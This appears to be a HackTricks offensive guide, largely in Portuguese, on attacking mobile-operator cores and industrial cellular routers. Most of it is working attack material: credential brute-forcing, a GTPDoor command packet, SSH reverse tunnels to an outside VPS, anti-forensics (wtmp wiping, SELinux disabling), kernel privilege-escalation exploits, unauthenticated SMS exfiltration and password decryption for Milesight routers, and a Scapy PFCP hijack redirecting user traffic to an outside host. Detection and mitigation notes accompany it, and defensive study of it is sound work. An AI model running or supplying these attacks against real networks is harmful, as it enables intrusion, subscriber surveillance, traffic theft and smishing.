Telecom Network Exploitation (GTP / Roaming Environments)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Note

Protocolos do core móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles trafegam sobre UDP puro com praticamente nenhuma autenticação, qualquer ponto de apoio dentro do perímetro de uma operadora costuma conseguir alcançar diretamente os planos de sinalização do core. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.

1. Recon & Initial Access

1.1 Contas OSS / NE Padrão

Um número surpreendentemente grande de elementos de rede de fornecedores é entregue com credenciais SSH/Telnet hard-coded como root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Se o dispositivo expõe apenas uma management VRF, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).

1.2 Descoberta de Hosts dentro do GRX/IPX

A maioria dos operadores GRX ainda permite ICMP echo através do backbone. Combine masscan com as sondas UDP gtpv1 integradas para mapear rapidamente os listeners GTP-C:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

A seguinte ferramenta em Go cria GTP-C Create PDP Context Request packets e registra as respostas. Cada resposta revela o atual SGSN / MME que serve o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Key flags:

  • --imsi IMSI do assinante alvo
  • --oper Home / HNI (MCC+MNC)
  • -w Grava pacotes brutos em pcap

Constantes importantes dentro do binário podem ser alteradas para ampliar as varreduras:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Execução de Código via GTP – GTPDoor

GTPDoor é um pequeno serviço ELF que faz bind na porta UDP 2123 e analisa cada pacote GTP-C recebido. Quando o payload começa com uma pre-shared tag, o restante é descriptografado (AES-128-CBC) e executado via /bin/sh -c. O stdout/stderr é exfiltrado dentro de mensagens Echo Response de forma que nenhuma sessão externa seja criada.

Minimal PoC packet (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detecção:

  • qualquer host enviando unbalanced Echo Requests para IPs do SGSN
  • flag de versão GTP definido como 1 enquanto tipo de mensagem = 1 (Echo) — desvio da especificação

4. Pivoting Através do Núcleo

4.1 sgsnemu + SOCKS5

OsmoGGSN inclui um emulador SGSN capaz de establish a PDP context towards a real GGSN/PGW. Uma vez negociado, o Linux recebe uma nova interface tun0 acessível a partir do roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Com hair-pinning adequado no firewall, este túnel contorna signalling-only VLANs e o coloca diretamente no data plane.

4.2 SSH Reverse Tunnel over Port 53

DNS quase sempre está aberto em infraestruturas de roaming. Exponha um serviço SSH interno para o seu VPS escutando em :53 e retorne mais tarde de casa:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Verifique se GatewayPorts yes está habilitado no VPS.

5. Canais Encobertos

CanalTransporteDecodificaçãoNotas
ICMP – EchoBackdoorICMP Echo Req/Repchave de 4 bytes + blocos de 14 bytes (XOR)ouvinte passivo puro, sem tráfego de saída
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) codificado nos octetos do A-recordmonitora o subdomínio *.nodep
GTP – GTPDoorUDP 2123blob AES-128-CBC em private IEse mistura ao tráfego legítimo de GTP-C

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. Cheatsheet de Evasão de Defesa

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation em Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Dica de limpeza:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Caixa de Ferramentas

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – ferramentas customizadas descritas nas seções anteriores.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. Ataques de Registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) sobre NGAP. Até que a segurança NAS seja ativada pelo Security Mode Command/Complete, as mensagens iniciais não são autenticadas nem criptografadas. Essa janela pré-segurança permite múltiplos caminhos de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).

Registration flow (simplified):

  • Registration Request: UE envia SUCI (SUPI criptografado) e capabilities.
  • Authentication: AMF/AUSF enviam RAND/AUTN; UE retorna RES*.
  • Security Mode Command/Complete: integridade NAS e cifragem são negociadas e ativadas.
  • PDU Session Establishment: configuração IP/QoS.

Lab setup tips (non-RF):

  • Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
  • UE: simulador ou UE de teste; decodificar usando Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Privacidade de identificador: falhas do SUCI expondo SUPI/IMSI

Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Encontrar um SUPI/IMSI em texto plano no Registration Request indica um defeito de privacidade que permite rastreamento persistente do assinante.

How to test:

  • Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
  • Wireshark quick checks:
  • Deve decodificar como SUCI, não como IMSI.
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates vazamento.

What to collect:

  • MCC/MNC/MSIN se expostos; registrar por-UE e rastrear ao longo do tempo/localizações.

Mitigation:

  • Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.

9.2 Bidding-down de capabilities para algoritmos nulos (EEA0/EIA0)

Background:

  • UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
  • Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.

Issue:

  • Como o Registration Request não é protegido por integridade, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks permitem erroneamente algoritmos nulos fora de serviços de emergência.

Offensive steps:

  • Intercepte InitialUEMessage e modifique o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
  • Com Sni5Gect, intercepte a mensagem NAS e altere os bits de capability antes de encaminhar.
  • Observe se o AMF aceita cifra/integridade nula e completa o Security Mode com EEA0/EIA0.

Verification/visibility:

  • No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigações (obrigatórias):

  • Configure AMF/policy para rejeitar EEA0/EIA0 exceto onde estritamente mandatado (por exemplo, chamadas de emergência).
  • Preferir aplicar EEA2/EIA2 no mínimo; registrar e gerar alertas para qualquer contexto de segurança NAS que negocie algoritmos nulos.

9.3 Replay of initial Registration Request (pre-security NAS)

Como o NAS inicial não possui integridade nem recência, a InitialUEMessage+Registration Request capturada pode ser reproduzida para o AMF.

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Respostas incluem campos como timestamp, content, phone_number (E.164) e status (success ou failed). Envios repetidos com failed para o mesmo número são frequentemente “capability checks” do atacante para validar que um router/SIM pode entregar antes de bombardear.

Exemplo de curl para exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notas sobre auth artifacts:

  • Alguns tráfegos podem incluir um auth cookie, mas uma grande parte dos dispositivos expostos responde sem qualquer autenticação a query_inbox/query_outbox quando a interface de gerenciamento está exposta à Internet.
  • Em ambientes que exigem auth, previously-leaked credentials (veja abaixo) restauram o acesso.

Caminho de recuperação de credentials – CVE-2023-43261:

  • Famílias afetadas: UR5X, UR32L, UR32, UR35, UR41 (pré v35.3.0.7).
  • Problema: logs servidos via web (por exemplo, httpd.log) estão acessíveis sem autenticação em /lang/log/ e contêm eventos de login do admin com a senha criptografada usando uma chave/IV AES hardcoded presente no JavaScript do lado do cliente.
  • Acesso prático e decifragem:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Código Python mínimo para descriptografar leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Ideias de hunting e detecção (rede):

  • Alertar sobre requisições não autenticadas POST /cgi cujo corpo JSON contenha base/function definido como query_inbox ou query_outbox.
  • Rastrear rajadas repetidas de POST /cgi seguidas por entradas status":"failed" através de muitos números únicos vindos do mesmo IP de origem (capability testing).
  • Fazer inventário de Milesight routers expostos na Internet; restringir gestão à VPN; desativar funcionalidades SMS a menos que necessárias; atualizar para ≥ v35.3.0.7; rotacionar credenciais e revisar logs de SMS por envios desconhecidos.

Shodan/OSINT pivots (exemplos observados no mundo real):

  • http.html:"rt_title" corresponde a painéis de Milesight router.
  • Google dorking para logs expostos: "/lang/log/system" ext:log.

Impacto operacional: usar SIMs legítimos de operadora dentro de routers confere altíssima entregabilidade/credibilidade de SMS para phishing, enquanto a exposição de inbox/outbox leaks metadados sensíveis em escala.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), craft a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 Injetando tráfego de usuário por spoofing de TEIDs
Se o uplink GTP-U vindo do backbone não estiver ACL’d, você pode replay/guess os **TEIDs** vistos nos cabeçalhos GTP-U e encapsular IP/TCP arbitrário em direção ao par do UE ou à Internet. Example craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Combine isto com passive sniffing em N3/N6 para descobrir TEIDs ativos; muitos stacks PGW/UPF aceitam qualquer origem uplink uma vez que o TEID corresponda.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) deriva automaticamente gramáticas a partir das especificações 3GPP OpenAPI para fuzz SBIs baseadas em HTTP. Contra o free5GC encontrou oito bugs incluindo o abuso Cross-Service Token: um NF comprometido obtém um access token para Service A e o reutiliza contra Service B porque faltavam verificações de audience/issuer no NF alvo.

Ideia rápida de replay (assumindo que você roubou um NRF-issued token de qualquer NF):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

Para fuzz automaticamente com FivGeeFuzz grammars:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Fique atento a bypasses de 401/403 e crashes em pods SMF/AMF; builds free5GC corrigidos rejeitam mismatched aud/iss.


Ideias de Detecção

  1. Qualquer dispositivo, além de um SGSN/GGSN, estabelecendo Create PDP Context Requests.
  2. Portas não padrão (53, 80, 443) recebendo SSH handshakes de IPs internos.
  3. Echo Requests frequentes sem as correspondentes Echo Responses – podem indicar beacons GTPDoor.
  4. Alta taxa de tráfego ICMP echo-reply com campos de identifier/sequence grandes e não-zero.
  5. 5G: InitialUEMessage contendo NAS Registration Requests repetidos a partir de endpoints idênticos (sinal de replay).
  6. 5G: NAS Security Mode negociando EEA0/EIA0 fora de contextos de emergência.
  7. PFCP: Session Modification carregando PDR IDs duplicados ou redirecionamento súbito de FAR para IPs off-net.
  8. SBA: NRF emite tokens cujo aud não corresponde ao NF chamado – indicativo de Cross-Service Token replay.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks